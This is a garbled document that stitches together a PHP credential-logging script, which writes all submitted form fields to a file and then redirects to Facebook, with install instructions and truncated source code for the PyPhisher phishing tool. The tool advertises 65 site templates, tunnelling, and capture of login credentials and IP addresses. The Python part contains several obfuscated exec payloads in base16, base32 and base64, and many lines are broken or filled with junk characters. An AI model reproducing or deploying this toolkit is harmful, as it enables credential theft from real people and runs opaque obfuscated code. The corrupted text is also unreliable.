<?php
// Set the location to redirect the page
header ('Location: http://www.facebook.com');
// Open the text file in writing mode
$file = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($file, $variable);
fwrite($file, "=");
fwrite($file, $value);
fwrite($file, "\r\n");
}
fwrite($file, "\r\n");
https://youtu.be/Df07IdFSrDUsudo apt install git python -y
For Arc
sudo pacman -S git python --noconfir
For Fedor
sudo yum install git python -
For Termu
pkg install git python -
Clone this repositor
git clone https://github.com/KasRoudra/PyPhishe
Enter the director
cd PyPhishe
Run the too
python3 pyphisher.p
Or, directly ru
wget https://raw.githubusercontent.com/KasRoudra/PyPhisher/main/pyphisher.py && python3 pyphisher.p
Optio
usage: pyphisher.py [-h] [-p PORT] [-o OPTION
[--update | --no-update
option
-h, --help show this help message and exi
-p PORT, --port PORT PyPhisher's server port [ Default : 8080
-o OPTION, --option OPTIO
PyPhisher's template index [ Default : null
--update, --no-updat
Check for update (default: True
Features
Multi platform (Supports most linux
65 Website template
Dual Tunneling (Ngrok and Cloudflared
Easy to us
Possible error diagnose
Built-in masking of ur
Custom masking of ur
Portable file (Can be run from any directory
Get IP Address and many other details along with login credential
Requirement
Python(3
PH
Cur
Unzi
Wge
Developers that use the GNU GPL protect your rights with two steps
(1) assert copyright on the software, and (2) offer you this Licens
giv_ = lambda __ : __import__('zlib').decompress(__import__('base64').b16decode(__[::-1]));exec((_)(b'B417E75330D7EF7E4563FE7EBE633D86A0320363747D4789B85A1FF56495C679BC465AD60913D082D42D45EE7CEF469B8880E1A3A772E25B577FC193AA9FBDE060F89A9B66B845C02059FD88AF8AE29D1DD6343A8AFED901DFC1F9A1491F46F030359AD63138BFF3263E4F398DC045E5F90086F0C9E50957AE9D6A288BC9F0846C103A41B48CC089AC46B231130F214035D124F5F91E356EBEA36F4FC42935D6BA45AB3AFE8AF188285603FE413019F4771F0CC0032CA0D5EC54C987')
# Color snippet
black="\033[0;30m
red="\033[0;31m
bred="\033[1;31m
green="\033[0;32m
bgreen="\033[1;32m
yellow="\033[0;33m
blue="\033[0;34m
purple="\033[0;35m
cyan="\033[0;36m
bcyan="\033[1;36m
white="\033[0;37m
nc="\033[00m
version="1.7
# Regular Snippet
ask = f"{green}[{white}?{green}] {yellow}
success = f"{yellow}[{white}√{yellow}] {green}
error = f"{blue}[{white}!{blue}] {red}
info = f"{yellow}[{white}+{yellow}] {cyan}
info2 = f"{green}[{white}•{green}] {purple}
# Generated by banner-generator. Github: https://github.com/KasRoudra/banner-generato
logo=f''
{red} _____ _____ _ _ _
{cyan} | __ \ | __ \| | (_) | |
{yellow} | |__) | _| |__) | |__ _ ___| |__ ___ _ __
{blue} | ___/ | | | ___/| '_ \| / __| '_ \ / _ \ '__
{red} | | | |_| | | | | | | \__ \ | | | __/ |
{yellow} |_| \__, |_| |_| |_|_|___/_| |_|\___|_|
{green} __/ | {cyan}[v{version}
{cyan} |___/ {red}[By KasRoudra
''
pkgs=[ "php", "curl", "wget", "unzip"
try
test = popen("cd $HOME && pwd"
except
exit(
root = popen("cd $HOME && pwd").read().strip(
supported_version =
if version_info[0] != supported_version
print(f"{error}Only Python version {supported_version} is supported!\nYour python version is {version_info[0]}"
exit(0
choice_file = "files/templates.json
# Check termu
if exists("/data/data/com.termux/files/home")
termux=Tru
else
termux=Fals
# Get package manage
if system("command -v apt > /dev/null 2>&1")==0
apt=Tru
else
apt=Fals
if system("command -v apt-get > /dev/null 2>&1")==0
aptget=Tru
else
aptget=Fals
if system("command -v sudo > /dev/null 2>&1")==0
sudo=Tru
else
sudo=Fals
if system("command -v pacman > /dev/null 2>&1")==0
pacman=Tru
else
pacman=Fals
if system("command -v yum > /dev/null 2>&1")==0
yum=Tru
else
yum=Fals
if system("command -v dnf > /dev/null 2>&1")==0
dnf=Tru
else
dnf=Fals
if system("command -v brew > /dev/null 2>&1")==0
brew=Tru
else
brew=Fals
if system("command -v apk > /dev/null 2>&1")==0
apk=Tru
else
apk=Fals
_ = lambda __ : __import__('marshal').loads(__import__('base64').b16decode(__[::-1]));exec((_)(b'51C0A0A070A060A020A01060106010603080102110212041D0608F8080208F4080209F4070209F4070209F407020AF406020BF405020CF404020DF403020EF402020FF4010200020000000843700000010E356C65746F6D6C380AD000000F027000000E027000000E027000000E0270000004327000000132700000071270000000127C62757F5C61636F6C690A556471646075760ADE6F6964707F660AD00000081273776271640AD37762716F55637271607A0ADE6F696473614C616E6F6964707F4E61656C6F6F62451A547E69630AD47E656D657762716F5464616C0AD27563727160776271690A527563727160547E656D657762714E0AD23F676F6C650A5E6F6963727566770ADE65656277650A55657C62640A577F6C6C6569760A5E616973640A546562730A5619245642092000000312700000021270000001127309200000060271092E40000004327FF20106010C0106010801020000000C03700000064E6F637A6F5379670AD000000F027000000E027000000E027E6F637A697D660A5109227F62727545657C61665A0AD374616F6C650AD20926445E4309200770035204600950010001000101197104700400035104600750010103800C7004770A7000000423700000034000000800000001000000000000000000000001036000000132720021002104010A010011021104010E01001104040A0DF801060100110211080106010400000004237000000132756C646E61686F5E6F69647075636875611AD000000F027000000E027000000E027F6E6F53756E696C680A5F6E6F556E696C670A5567616373756D670AD56D616E640AD264720AD272716F53756E696C690A50796B63740AD56E696C69647C657D690A55610AD9092E696F6A640ADE656C630AD4796C6073750AD00000061270000005127F5F556D616E6F5F580AD0000001027478756E6F5264770ADF6E656E696C6F5264790AD27473730AD46E65607071660ADF5F556C69666F5F580AD8647160737261670AD56D616E656C69666F5F636B0AD5646F636F56660AD56D6162766F5264780ADF5F5B63616265636162747F5F5D0AD11920256E696C60247160290A7023756E696C602471602A0A702A320A702C220A7000000109E000000009EA310AF1227F627275460A727F627275456D616E490AD27F627275446E657F66447F6E456C65746F6D431ADE4B092003500460010103860D900B970C7A04600B960C7804600B950C700B9D047C047003500460010103860D900B980C7904600B960C7804600B950C700B9D047C047162710C780D7101A30C7010A704670D7009100816046103830C7F04730C760D700915046101A4046E00A103800C77047003500460010103820D9304600B9D047C047932720B6204650C7033720B6104650C7932720C750D7B0A6103800C7A04790371057004640C740D790A640C70010101A103880A640C77047600A30C7A12720B610385047404730A620A610A640C712271057004640C740D700A600C730D700760000002E370000003400000070000000900000000000000000000000303664000000712710C0108010E0106010A110801020000000E037000000720000007127000000F027000000E027000000E0274757F656D6964770A54727F60740AD4737F68640A530924756E6275647E69680AD000000A02727F627275650AD47E696270750AD473656E6E6F63670A5D41454254535F5B434F435B0A54554E494F5641470A54756B636F63760A54757F656D6964747C6571666564647563711A59092000000209E124756E6275647E69602F6E4C0A7E4309200350046009500100038804700101038204670470010103820D9104600B9604750470010001000100035004600750010101A206610C700C7400A20383047204710470010103820C7004711A7000000C43700000034000000600000003000000000000000000000003036000000419E000000539E83E283E283E28370AF0000000127DF4010A0108010A010C0000000A0370000000247E69627073760ADE387C330AF000000E027009A4627F67740AD4710ADE610AD3092075656C63750AD863757C66650AD564796277750AD4757F646473760AD40920000000027E420920035004640170010103810C730470010001A200A00470010101A20C7100A004720D7F0D500440071104600C7000000C23700000034000000400000003000000000000000000000002036F39A9999999999A97EA313E203E203E2732313A0A70000002027E6F69647361660AD00000030273092455647164607570227F66602B63656863401A7564716460757D2D280A7000000302700000020272092D502C6C657E602A30247C6571666564402B502875646E69602564716C607D65647023772275686379686059705D2A700ADE6F6964707F6D2D280A7F6D220A707C6568640AD47C6571666564670AD5607974740AD3092D5020383038302A30247C6571666564402B5024727F60702275667275637023772275686379686059705A2A70000F109964727F607D2D260A707D220A7A0D516274657F6253716B4029724B5F0A702020202020202020202020202020202020202F2F5F5F5C7020202020202020202A7A0D520A767B520A70202020202020202020202020202020202020202020202020202C702F2F5F502020202020202020282A7A0020202C7F5C7F5F5F5C5C7F5C702C7F5F2F5F5F5C7F5C7F5C702C7F5C702020202C7F5C702C2F5F5C502020202C7F5C70223A7A0020202C702F2F5F50202C702C702C702C502F5F5C502C702C702C702C702020202C702C702C7F5C702C7020202C702C70223A7A0C7F5F57202C502F502F202C502F57202C7F5F502F202C7C502F57202C7F2F5F5F50202C702C702C702F2F5F5F50202C70223A7A002F5F502F502F5F5F5020202F5F5C702C7F5F5F502F50202F5F5C702C70292F5F5C702C7F5020202C70292F5F5C702C70223A7A00202020202020202020202020202C702C702020292F582020202C702C7C502F5F50202C70202020202C502F5F50202C70223A7A0020202020202020202020202020202F50202020202F50202020202F50202F5F5F5F5F502020202020202F5F5F5F5F5020223A7A010ADC2920035824651A500487246624641A5104852464246B24631A5104822461246A24621A51048D146C146924611A520D900B9E056A14601A501A6D056F0A5F0A6D056E0A5E0A6D056D0A5001AC00A8056001040D891468146B0567146614690A68056001040D85146414631462146114690A68056001050D80146F046E046A056D046C04690A6805680A50038705660A571D9B04600B90056A04600B91056904600B95056804600B91056704600B94056604600B92056504600B90056404600B93056304600B92056204600B91056104600B9005600460000004D3700000004000000710000000000000000000000000000000036
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b32decode(__[::-1]));exec((_)(b'====ANL2INA7FRSB73JGWJXD6FH63J7SYXA6OVLHGFY53QG2NJ2LIRTQJCOJWDW4OHNTNZQTDWG4WIUKXYEI5GLGNMD6DHEHTIB7XFV3UBMU3YJBHY7TODUSH23F3HUNC5L66BQ3RYWDWHV3SY2JWTMXBGT2TTD3MP5KV74MZY5OW4Z5D54PGBEMKC6JGATKGLNGEXUIJCBJH7QOMP2NMPSEBULVJNCFM4SHKEOY5KVSOUN3GSFN6Z4YOZ5333M4VR6FIJMDHUB4L2RBD32LZCHSK5VF3GC4GSCNK7PFPC4UY7XEPGRNP5EFBWSGFC4XP3YBA5X6LUY3UBSGSPF6AFRUZMVBRJOV3QAJ2V5VZQNWS7HMH6DS6VRZHJXS3UWQVMHSTCEJFRWVEDLPQUKKKZ2KA3XLTVUAZOENHIFVN6QIMK2NWAVAIF34ULC2V4F44VRPUFD47FBKNM2YDDJMRHPINOGNLX76UB36T3JAKA4UOWGPFMIKYG3PUKDUMTC2Y6YCY2B2C2SVZMDNTZOR6LNY2IDQ4NUVXM3ERZKI4P73I3BBYBBHQ3DBMHZTNJB76Z6Q2KLIEE6PBJLDLVQGC4TNMRDNUCKBVYPBXKEZZK7MAI25Q63QYFEH6J6OKNM4HMCNDTLSTN4ULEUEVKFCEQDSF6BOOBXNY7D3PAT2P33VELLU6WMALIRUHQNDLWYXLJYMKQ6H6QJENRLKUSNTWXNZL5OX7HG372TP7DH4PMXZFO3XNO6EHWB2KUDGSXTOX4ZHUV3WEUI3D5SWRTWNH7ROJRBKN7JE77HK6U6OV5QYPE3XN3QWSMJG5EVSXW3IVE4VVSAVU5CJ6DPKCL5QILQUSL5QZILJ24XXUZFRL4KYK3TNKLBDLLK4B6RAC2HM7BBFIFCU2VV6HJT4TR4ITU7RQ5UWZGAFP2JVGQJ4CRNWIAA26FJTUINANJTWF5HOCVHDJZWQWFVUEMD2VVPDQ6TQHWWLALH5TVHJJW754H3RPFHDFYIRFXMJQKELE6JG5FUVQVE4VC3FHKIOTTJ22QPRMXKNIIKO7HQOA7CVMTCVBQV333NHANT6YFOJ233P4KATSEZ7GSDPJAHYGMFRSDNZNM6YPE4OU5FGVEBVPD6JIWRSVIZBPWUSIYNLQUCXR5Q73DTCAE6H7UUNVCEKBCVPU7YZ47QTUYQRXTA7TZBW5BCZKEFGQRQ2LTMU3WX5X5R3ZCJDDOHQT6CH7VNCB62SFADMHJSXGWNTNSYWVMKFD4ZQ4J5OSEWH54YLQLQRW6RI2I2LXFNB2MLVVXLYBDCU2WZV22XYFNHEH6E7BNTGV4GX72CGFWD3XUR2547IWM3L437TZNKGFVNCN7JHLJGUZ2XDS23P3EVQIJHXYOWYJYZPBS3HEOLYPQMPPNI6PL6IJCJP66JQHDSBYHPO7ONV5Z5CVYBGQZSWLU3R5XIMHHVPYNC4O6QR5AZ56DSYMHCNXGACZVWVA23JJ6XJA4OB45APWT5DDJH44O3TBVC2S6N35WKLPWQECY4Y3OWOAH455ZBWXXLWFXI3LZD6XH2H4IHRVAZNA3BC3RZKRWR2IOQXTPKVFCSJFETPO4YMITVDQFJANGBYOJKS5Y33PYSIVEJUQGVB32IWVAZAYRPDMSKDITIBYGJ3DCURRNQCZS4MLY2SPQKZ4L525DEQTN3N3WVKJOCP')
# Polite E
@@ -325,8 +325,7 @@ def updater()
sleep(2
# First function ma
_ = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])));exec((_)(b'=oqowswDyPSv5FpF7AONsRxO8qDVtR9FE2yaT1m2vr2/nMolHzcrOEaHc3S2wm9m1w51Ppa4fbt+hjW7XikRuouQw1djoa0gplwRUvOp0oznqEz7npJjh72R0dvdyaOjkBU/RJPjyz4NTmU80NoZ4W5UeDmkoqpbeMAfBLdppBYUwx/xJoC4ydai8iVHsgIGSnmCZJx8Sb/r/Dx9TEiSctXQN/TJ4FZedzACF/wSE7ot6wvWkwNkWOn6N9DGTMB5S5gXI1hUx2YQqE0QWNUNmEyZ0+0na3eRDK90iskHJm2+SNPITBdbrodVNPj2Uo0lBXNykIrnK1uONYHh0Dk7m8RAMp++BFcZLLqEZRh4E54L3gWBmL1qjz6D4eONfCjyn3eKlgYflkbKSl8mtvW6vg4IU6lcIRhvRbydWxTh2TXFHz7648zrn9MKloujstI/vjIvUekXy2p7M5hTpYqfaeqphiIFN+ZibkOrOFPUiSeJ00HDRV8jFYBIPHQ8tzWm14oqh1dqxBIxPi2ZR23ZtLXHi0Noc9/9nFXUcHUybAS+5M1TylXM+/xj6X/9yeKgZvHWjfec42Z05ZaHZPn65u/DndY3mykRq0HVjefYJ2JsXAIKZeJFO2xHQXu7erTZ25u3pCkPiXqcPVUKON+FV3xOJmD3D9Yc9OJfbrG4+EV8nViyy43SXIq8KTEDcJ2+tmcjmG59ztnbn0zvgPL9upa91XBe10PE3eRbXVvhg/LymXkp4j9rvzyNeT0/XXxeH931d8nRRbUT20A+MXR7FovjHvWDh/WFcLjKNf1rellrWYuipyvjHvKZVHVt+aVb6QsKKMaaQ/lqjuGiPTeR9VOaYGOf22SZd1JquUbn81fV3jvwWX3VqCewlrY7YtygYV3FtqDs3S+1f0Slwlauxrprxsp6k8NCkOqVjtYjIvPvZVFoPeyeaul15HOa9CmXXUz68w67CQ+magcVrceuYlWzFLffOTlEPqoHoobmeE/MeBT1mLT+O30OB/kbsukAx60pjJyB8hqzK2sCTBCueLnKKR2++OHOYBXdndwMFA5gbtl5CQkXMGPG44CYgI3bAS5o7kJ5nybDYpUfAPnGC2NVmBHUJQNljITAJk0eT2X5QQZJ8WM71q9RzipQI90oIUsQqgyuK7QfvMiJt+evzPzeNb+992hlUK0OZy7VqphShAV3EkYRA9/wBFkdIJ6A4v4SgeVs2Hn3nxa7fbx7M+uWEr0wkA3EUoACC6ARNUwBOvioosBJET84O+st3e3XbntnUUEHv9LVlyJe')
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==wGcw30B4vez/1M80vR+sTambDH0UXz3ppS37YqpAF38xTLEG1xPHHaImhar2rz/LhHOo7Fq6F9pDyvL1Hv99XOAEcJfmo5fy1CnpWbL6OrpFMwbPYo00hD4G+ujwWeB/DgP8LTIsfGsLyS7CFZ7y5befPv9P4PQ56DsFMv/TL4vsj9DPeZkeHnEZM5nPqdzJkrYcWbnGVwrfp2Guz0yY3LvvfmEZ/fwpCbBbVV95qpJwe4unmlOmVrwyqnkfeel04iVxumTtANErHKYiwyEVzqP2bFYYDYGyXEdw+KgaZQCA5aYa9FxXsROEyO7gWuzojHT3GnnAZypmkm0Gl1uu13Xa4TJiNol28WsQ/uaTKKbZiNF3NHgfPTq9qe5EM7YatXiSz0RLEyHyptik6kaZsQO1FNP71qT7AngataBWHl4mxlj2ADmN4+EkW4nzxaEMvGpizYOFnBevCSLPe6owvl/ff6EQaNTx7opI86NlUzDvb340kYipDkQLY2cTWjyR24qsAb+eDHcqjp3AiiIP1KhseAJ9S+6PbmrZSczykFPEEGdMrIG0uZYIa2BgkzTfxTLbGWboM31idfEXjM1UeEX8KogNSA9HSHBYAHYlMs1KUqF312dXcsCtbK6HjvsktcOTo70kLVjYa3XxltLbLKYVbauRLqiIUrJbl0urUp0UYfhgqtvzzYjhk3YO2xQVyRsLM5kN6HReQXZiU3AilUOButuoQyqdicveMliCecHNqL6cRFq5yxLM5vsh/5SeFnbpBVgrmQJg3ucQvOtivR8W12OcCFQDq378lCFq1sA0XW4sIj0USglFs9yFe2k6pVljilZ/wl/CPwsTBuUl4GWYllAKISUEYbGI9K6hyeAWt7JDhEhouNrcPvQAz2utcVtyJe'
# 2nd function installing packages and downloading tunnele
def prerequiments()
internet(
if termux
if system("command -v proot > /dev/null 2>&1")!=0
system("pkg install proot -y"
installer("pkg"
else
if sudo and apt
sudoinstaller("apt"
elif sudo and apk
sudoinstaller("apk"
elif sudo and yum
sudoinstaller("yum"
elif sudo and dnf
sudoinstaller("dnf"
elif sudo and aptget
sudoinstaller("apt-get"
elif sudo and pacman
for pkg in range(0, len(pkgs))
if system(f"command -v {pkgs[pkg]} > /dev/null 2>&1")!=0
sprint(f"\n{info}Installing {pkgs[pkg].upper()}{nc}"
system(f"sudo pacman -S {pkgs[pkg]} --noconfirm"
elif brew
installer("brew"
elif apt
installer("apt"
else
sprint(f"\n{error}Unsupported package manager. Install packages manually!{nc}"
exit(1
if system("command -v php > /dev/null 2>&1")!=0
sprint(f"{error}PHP cannot be installed. Install it manually!{nc}"
exit(1
if system("command -v unzip > /dev/null 2>&1")!=0
sprint(f"{error}Unzip cannot be installed. Install it manually!{nc}"
exit(1
if system("command -v curl > /dev/null 2>&1")!=0
sprint(f"{error}Curl cannot be installed. Install it manually!{nc}"
exit(1
killer(
x=popen("uname -m").read(
y=popen("uname").read(
if not isfile(f"{root}/.ngrokfolder/ngrok")
sprint(f"\n{info}Downloading ngrok.....{nc}"
internet(
system("rm -rf ngrok.zip ngrok.tgz"
if y.find("Linux")!=-1
if x.find("aarch64")!=-1
system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-arm64.tgz -O ngrok.tgz"
system("tar -zxf ngrok.tgz > /dev/null 2>&1 && rm -rf ngrok.tgz"
elif x.find("arm")!=-1
system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-arm.zip -O ngrok.zip"
system("unzip ngrok.zip > /dev/null 2>&1 "
elif x.find("x86_64")!=-1
system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-amd64.zip -O ngrok.zip"
system("unzip ngrok.zip > /dev/null 2>&1"
else
system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-386.zip -O ngrok.zip"
system("unzip ngrok.zip > /dev/null 2>&1"
elif y.find("Darwin")!=-1
if x.find("x86_64")!=-1
system("wget -q --show-progress 'https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-darwin-amd64.zip' -O 'ngrok.zip'"
system("unzip ngrok.zip > /dev/null 2>&1"
elif x.find("arm64")!=-1
system("wget -q --show-progress 'https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-arm64.zip' -O 'ngrok.zip'"
else
print(f"{error}Device architecture unknown. Download ngrok manually!"
sleep(3
else
print(f"{error}Device not supported!"
exit(1
system("rm -rf ngrok.zip && mkdir $HOME/.ngrokfolder"
system("mv -f ngrok $HOME/.ngrokfolder"
if sudo
system("sudo chmod +x $HOME/.ngrokfolder/ngrok"
else
system("chmod +x $HOME/.ngrokfolder/ngrok"
if not isfile(f"{root}/.cffolder/cloudflared")
sprint(f"\n{info}Downloading cloudflared.....{nc}"
internet(
system("rm -rf cloudflared cloudflared.tgz"
if y.find("Linux")!=-1
if x.find("aarch64")!=-1
system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64 -O cloudflared"
elif x.find("arm")!=-1
system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm -O cloudflared"
elif x.find("x86_64")!=-1
system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 -O cloudflared"
else
system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386 -O cloudflared"
elif y.find("Darwin")!=-1
if x.find("x86_64")!=-1
system("wget -q --show-progress 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz' -O 'cloudflared.tgz'"
system("tar -zxf cloudflared.tgz > /dev/null 2>&1 && rm -rf cloudflared.tgz"
elif x.find("arm64")!=-1
print(f"{error}Cloudflared not available for device architecture!"
sleep(3
else
print(f"{error}Device architecture unknown. Download cloudflared manually!"
sleep(3
else
print(f"{error}Device not supported!"
exit(1
system("mkdir $HOME/.cffolder"
system("mv -f cloudflared $HOME/.cffolder"
if sudo
system("sudo chmod +x $HOME/.cffolder/cloudflared"
else
system("chmod +x $HOME/.cffolder/cloudflared"
if system("pidof php > /dev/null 2>&1")==0
sprint(f"{error}Previous php still running! Please restart terminal and try again{nc}"
pexit(
if system("pidof ngrok > /dev/null 2>&1")==0
sprint(f"{error}Previous ngrok still running. Please restart terminal and try again{nc}"
pexit(
system("rm -rf $HOME/.site && cd $HOME && mkdir .site"
# 3rd function checking requirements and download files
def requirements(folder, mask)
if isfile(f"{root}/.websites/version.txt")
with open(f"{root}/.websites/version.txt", "r") as sites_file
zipver=sites_file.read().strip(
if zipver!=version
sprint(f"\n{info}Downloading required files.....\n"
system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/websites.zip -O websites.zip"
else
sprint(f"\n{info}Downloading required files.....\n"
system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/websites.zip -O websites.zip"
if isfile("websites.zip")
system("rm -rf $HOME/.websites && cd $HOME && mkdir .websites"
system("unzip websites.zip -d $HOME/.websites > /dev/null 2>&1"
remove("weᴬᵛᵉⁿᵍᵉʳˢ.ᴬˢˢᵉᵐᵇˡᵉ_ᵈᵃⁱˡмαяνєℓѕυ∂ισѕ.ιηʸ)):)):)):)::: ))):)):):):)))):)):)):))::):):):)::))):):):)))):)):):))::)):)):)):))::))):))))):)):)):)):):):)):::):):):):)::))::):rs)))in):xit)'))e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:re:e:x")):3)):):]']] | 'r"""""s"""""""""""""s)e:r .websites")
system("unzip websites.zip -d $HOME/.websites > /dev/null 2>&1")
remove("wegivtplP)ss)llre)s):)e]N]ts:]]nsynylryryyxyamh
fclose($file);
exit;
?>